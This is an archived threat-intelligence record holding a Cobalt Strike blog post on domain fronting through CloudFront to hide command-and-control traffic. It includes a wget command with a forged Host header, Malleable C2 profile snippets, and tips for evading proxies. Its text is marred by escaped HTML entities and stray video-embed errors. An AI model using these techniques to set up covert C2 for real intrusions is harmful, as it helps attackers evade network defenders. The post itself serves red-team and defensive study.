{ "id": "797b2d51-4b83-43c6-a7e3-c6a9b920e943", "created_at": "2026-04-06T00:15:20.519645Z", "updated_at": "2026-04-10T13:12:56.092931Z", "deleted_at": null, "sha1_hash": "d0ea3eb0194297a92a4f42a1c37785e2de327237", "title": "High-reputation Redirectors and Domain Fronting", "llm_title": "", "authors": "", "file_creation_date": "0001-01-01T00:00:00Z", "file_modification_date": "0001-01-01T00:00:00Z", "file_size": 158157, "plain_text": "High-reputation Redirectors and Domain Fronting\r\nBy Raphael Mudge\r\nPublished: 2017-02-06 · Archived: 2026-04-05 22:33:38 UTC\r\nWorking on Cobalt Strike, I get some insight into what folks are trying to do with it. Recently, the use of domain\r\nfronting for redirectors has come on my radar.\r\nA redirector is a server that sits between your malware controller and the target network. Domain fronting is a\r\ncollection of techniques to make use of other people’s domains and infrastructure as redirectors for your\r\ncontroller.\r\nA trivial form of domain fronting is to stand up a node in Amazon’s EC2 and configure it as a redirector for your\r\ncontroller. The FQDN of your EC2 instance is an amazonaws.com subdomain. Your payloads may call home to\r\nthis. While this is beneficial in some cases, this isn’t where things get interesting.\r\nDomain fronting becomes interesting when used to appropriate high-reputation domains as redirectors for your\r\ncontroller.\r\nDomain Fronting with Alternate Hosts\r\nHow is it possible to use a high-reputation domain that you don’t control? Let’s use Amazon’s CloudFront as an\r\nexample.\r\nCloudFront is a Content Delivery Network service. It provides its users a globally distributed cache for files\r\nhosted on their servers. This reduces load on the customer’s servers and allows the CDN to serve cached content\r\nfrom data centers close(r) to the requester. Each CloudFront configuration is called a “distribution”.\r\nCloudFront identifies distributions by the FQDN used to request resources. Each CloudFront distribution has a\r\nunique cloudfront.net subdomain. CloudFront’s users also have the option to serve CloudFront cached objects via\r\ntheir own sub-domain. This is done by creating a DNS record that points to CloudFront and telling CloudFront to\r\nassociate that DNS record with a specific distribution. Easy enough.\r\nWhen a client connects to CloudFront, the DNS name that led there is lost information. CloudFront relies on other\r\nparts of the request to extract which DNS name the client wants resources from. In an HTTP request, this is the\r\nHost header.\r\nOne way to domain front is to configure a payload to call home to one host (e.g., media.startupunicorn.com) and\r\nset the Host header to something else (e.g., mydistribution.cloudfront.net). If the Host header is set right (and\r\nnothing else changes it), your cloudfront.net configuration will dictate what happens next.\r\ndf_http_noproxy\r\nhttps://www.cobaltstrike.com/blog/high-reputation-redirectors-and-domain-fronting/\r\nPage 1 of 8\n\nLet’s examine what this looks like by hand.\r\nThe host malwarec2.losenolove.com is my Cobalt Strike web server, setup to serve /foo.txt. Naturally a request\r\nwith wget works. (Note: I change wget’s User-Agent with –U because Cobalt Strike always returns a 404 for lynx,\r\nwget, and curl useragents).\r\n2 I\u0026amp;amp;amp;amp;amp;#039;m a happy little malware controller. :)\r\nd16b91n8fagr3u.cloudfront.net is my CloudFront distribution. I’ve configured it to serve objects from\r\nmalwarec2.losenolove.com. A request to this host works to retrieve our file as well:\r\n2 I\u0026amp;amp;amp;amp;amp;#039;m a happy little malware controller. :)\r\nWhat happens if we forge the Host header to a different identity? In this case, we get nothing back.\r\na0.awsstatic.com is a domain name that points to CloudFront. I know about this domain because other resources\r\non domain fronting use it as an example. If I request /foo.txt from this host, naturally it’s not going to give me\r\nanything.\r\nLet’s modify that slightly. We’ll use the a0.awsstatic.com domain (it all goes to the same place, right?)—but,\r\nwe’ll forge the Host header to the FQDN of my CloudFront distribution. In this case, I get back the text file.\r\n1\r\nroot@kali:~# wget -U demo -q -O - http://a0.awsstatic.com/foo.txt --header\r\n\u0026amp;amp;amp;amp;amp;amp;amp;quot;Host:\r\nd16b91n8fagr3u.cloudfront.net\u0026amp;amp;amp;amp;amp;amp;amp;quot;\r\n2 I\u0026amp;amp;amp;amp;amp;#039;m a happy little malware controller. :)\r\nHere, I’ve used a0.awsstatic.com as my high-reputation domain name. There are other, far more interesting,\r\noptions though.\r\nDomain Fronting with Cobalt Strike\r\nTom Steele and Chris Patten from Optiv’s Attack and Penetration Team wrote Escape and Evasion Egressing\r\nRestricted Networks. This blog post shows how to setup a CloudFront distribution as a redirector for Cobalt\r\nStrike’s Beacon payload.\r\nOnce this is setup, you’ll want to decide which domain(s) you will use as redirectors. Let’s say a popular blog\r\nservice uses CloudFront to serve static images. You may decide it makes sense to use this domain for your C2.\r\nFine!\r\nNext, I recommend you configure a Cobalt Strike Malleable C2 profile that matches something plausible on this\r\ndomain. Malleable C2 is a Cobalt Strike technology that allows you, the product’s user, to shape Cobalt Strike’s\r\nBeacon traffic to look like other malware or something legitimate. If the domain serves static images, make a\r\nhttps://www.cobaltstrike.com/blog/high-reputation-redirectors-and-domain-fronting/\r\nPage 2 of 8\n\nprofile that looks like one of these static images. Keep in mind it’s possible to use only HTTP GETs (or even\r\nHTTP POSTs) for C2.\r\nOnce you have that part figured out, you’ll want to update your profile to insert your CloudFront distribution’s\r\nFQDN into the Host header. You can do this with Malleable C2’s header keyword:\r\n1 http-get {\r\n2 client {\r\n3\r\nheader \u0026amp;amp;amp;amp;amp;amp;amp;quot;Host\u0026amp;amp;amp;amp;amp;amp;amp;quot;\r\n\u0026amp;amp;amp;amp;amp;amp;amp;quot;[your\r\ndistribution].cloudfront.net\u0026amp;amp;amp;amp;amp;amp;amp;quot;;\r\nMake sure you do this in both the http-get -\u003e client and http-post -\u003e client Malleable C2 blocks. During a\r\nconversation, a friend remarked that they were stuck for awhile because they set the Host header in the http-get\r\nblock, but not the http-post block. You have to set this in both places.\r\n1 http-post {\r\n2 client {\r\n3\r\nheader \u0026amp;amp;amp;amp;amp;amp;amp;quot;Host\u0026amp;amp;amp;amp;amp;amp;amp;quot;\r\n\u0026amp;amp;amp;amp;amp;amp;amp;quot;[your\r\ndistribution].cloudfront.net\u0026amp;amp;amp;amp;amp;amp;amp;quot;;\r\nOnce this is setup, you can configure your Beacon payload to call home to different domains that point to\r\nCloudFront.\r\nOne limitation: there’s no option to set the Host header in Cobalt Strike’s stagers. You can work with stageless\r\npayloads though. Go to Attacks -\u003e Packages -\u003e Windows EXE (S) to export a Cobalt Strike stageless artifact. If\r\nyou want to stage, I recommend that you configure the stager to connect to your cloudfront.net distribution\r\ndirectly or use another redirector.\r\nThis video walks through all of this, end-to-end:\r\nhttps://www.cobaltstrike.com/blog/high-reputation-redirectors-and-domain-fronting/\r\nPage 3 of 8\n\nEtt fel inträffade.\r\nDet går inte att köra JavaScript.\r\n Finding High-reputation Domains for Use\r\nMy examples here use a0.awsstatic.com as an alternate host. Think of it as the Hello World of Domain Fronting.\r\nVincent Yiu from MDSec took this a step further. He wrote a script to check likely CDN subdomains from a list of\r\npopular websites. His initial work found over three thousand subdomains that point to CloudFront and\r\ndemonstrated that they work as alternate hosts with the technique discussed here.\r\nhttps://www.cobaltstrike.com/blog/high-reputation-redirectors-and-domain-fronting/\r\nPage 4 of 8\n\nEtt fel inträffade.\r\nDet går inte att köra JavaScript.\r\nA Note About RFC 2616, Section 14.23\r\nSo far, this blog post focuses on domain fronting over HTTP. If the target system goes through a proxy server,\r\nyou’re in trouble. An RFC-compliant HTTP proxy server will rewrite the Host header in an HTTP request to\r\nmatch the domain in the URL it’s asked to retrieve. The Squid proxy documentation talks about this behavior. For\r\nmany some networks, this means HTTP is a non-option.\r\ndf_http_withproxy\r\nUpdate 7 Feb 2017: This behavior matches my experiments with a Squid proxy locally, but don’t take it for\r\ngranted that your target’s appliance(s) work this way. After I made this post live, Vincent Yiu took a look at a\r\ncommercial secure web appliance and its behavior with these techniques. This appliance didn’t rewrite the Host\r\nheader as expected. If you’re curious about how an appliance that enforces site categorization behaves with these\r\ntechniques, Vincent’s latest video is worth a look:\r\nhttps://www.cobaltstrike.com/blog/high-reputation-redirectors-and-domain-fronting/\r\nPage 5 of 8\n\nEtt fel inträffade.\r\nDet går inte att köra JavaScript.\r\nYou probably want SSL/TLS\r\nWhat about SSL/TLS? That’s an option. This will likely get you through some proxy configurations. A device that\r\nintercepts SSL traffic will may make life more difficult. You may find that certain networks will exempt some\r\nhigh-reputation domains from SSL interception.\r\ndf_https_withproxy\r\nIf you’d like to use the HTTPS Beacon with CloudFront:\r\n1. Be aware, CloudFront requires your web server to have a valid SSL certificate.\r\n2. Consult Cobalt Strike’s Malleable C2 documentation. It shows how to use a valid SSL certificate with\r\nBeacon.\r\nhttps://www.cobaltstrike.com/blog/high-reputation-redirectors-and-domain-fronting/\r\nPage 6 of 8\n\nEtt fel inträffade.\r\nDet går inte att köra JavaScript.\r\nOther Services\r\nHere, I’ve given a lot of details on domain fronting with CloudFront. There are other fronting-capable web\r\nservices where these (and other) techniques apply. The Camouflage at encryption layer: domain fronting blog post\r\ndemonstrates these concepts with Google App Engine. The documentation for the Meek Pluggable Tor Transport\r\nalso discusses several domain fronting options. Finally, Blocking-resistant communication through domain\r\nfronting describes this concept in detail, for multiple services.\r\nMy Thoughts\r\nDomain Fronting is an interesting technique to use high-reputation domains for callbacks. It’s not the right tool for\r\nall situations though. An RFC compliant proxy will defeat HTTP requests. A proxy server that terminates and\r\ninspects SSL/TLS sessions will might handily defeat this as well. There’s probably wiggle room using this\r\ntechnique with whitelisted high-reputation domains. This makes locating domain options even more important!\r\nRemember, these are not CloudFront-only techniques.\r\nInterested in Trying Cobalt Strike?\r\nREQUEST A QUOTE\r\nhttps://www.cobaltstrike.com/blog/high-reputation-redirectors-and-domain-fronting/\r\nPage 7 of 8\n\nSource: https://www.cobaltstrike.com/blog/high-reputation-redirectors-and-domain-fronting/\r\nhttps://www.cobaltstrike.com/blog/high-reputation-redirectors-and-domain-fronting/\r\nPage 8 of 8", "extraction_quality": 1, "language": "EN", "sources": [ "MITRE" ], "origins": [ "web" ], "references": [ "https://www.cobaltstrike.com/blog/high-reputation-redirectors-and-domain-fronting/" ], "report_names": [ "high-reputation-redirectors-and-domain-fronting" ], "threat_actors": [ { "id": "610a7295-3139-4f34-8cec-b3da40add480", "created_at": "2023-01-06T13:46:38.608142Z", "updated_at": "2026-04-10T02:00:03.03764Z", "deleted_at": null, "main_name": "Cobalt", "aliases": [ "Cobalt Group", "Cobalt Gang", "GOLD KINGSWOOD", "COBALT SPIDER", "G0080", "Mule Libra" ], "source_name": "MISPGALAXY:Cobalt", "tools": [], "source_id": "MISPGALAXY", "reports": null } ], "ts_created_at": 1775434520, "ts_updated_at": 1775826776, "ts_creation_date": 0, "ts_modification_date": 0, "files": { "pdf": "https://archive.orkl.eu/d0ea3eb0194297a92a4f42a1c37785e2de327237.pdf", "text": "https://archive.orkl.eu/d0ea3eb0194297a92a4f42a1c37785e2de327237.txt", "img": "https://archive.orkl.eu/d0ea3eb0194297a92a4f42a1c37785e2de327237.jpg" } }